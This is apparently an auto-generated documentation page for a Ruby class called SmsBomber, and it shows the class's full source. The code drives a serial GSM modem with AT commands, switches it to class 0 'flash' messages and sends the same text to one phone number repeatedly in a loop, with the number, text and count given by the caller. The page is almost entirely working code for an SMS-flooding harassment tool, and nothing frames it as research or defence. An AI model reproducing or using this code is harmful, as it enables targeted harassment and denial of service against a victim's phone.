Class: SmsBomber

Inherits:
Object
  • Object
show all
Defined in:
lib/smsBomber.rb

Instance Method Summary collapse

Constructor Details

#initialize(modemAddress) ⇒ SmsBomber

Returns a new instance of SmsBomber.



5
6
7
8
9
10
11
12
13
14
15
16
17
# File 'lib/smsBomber.rb', line 5

def initialize (modemAddress)
  @uart=SerialPort.new(modemAddress, 230400, 8, 1, SerialPort::NONE)
  @readingThread=Thread.new do
    while true do
      data=@uart.gets.chomp!
      if data.include? '+CMGS:'
        @modemBusy=false
        print "Sent!\n"
      end
    end
  end
  puts 'Initializing modem in pdu mode.... OK!'
end

Instance Method Details

#disposeObject



35
36
37
# File 'lib/smsBomber.rb', line 35

def dispose
  Thread.kill @readingThread
end

#sendFlashSMS(phoneNumber, smsText, smsCount) ⇒ Object



19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# File 'lib/smsBomber.rb', line 19

def sendFlashSMS(phoneNumber, smsText, smsCount)
  @uart.write('AT+CSMP=17,167,0,16'+13.chr)
  puts 'Setting modem to send class 0 SMS... OK!'
  sleep(2)
  (0..smsCount).each do |i|
    print "Sending Message ##{i}"
    @modemBusy=true
    @uart.write("AT+CMGS=\"#{phoneNumber}\""+13.chr)
    sleep(0.1)
    @uart.write(smsText+26.chr+13.chr)
    while @modemBusy do
      print '.'
      sleep(0.3)
    end
  end
end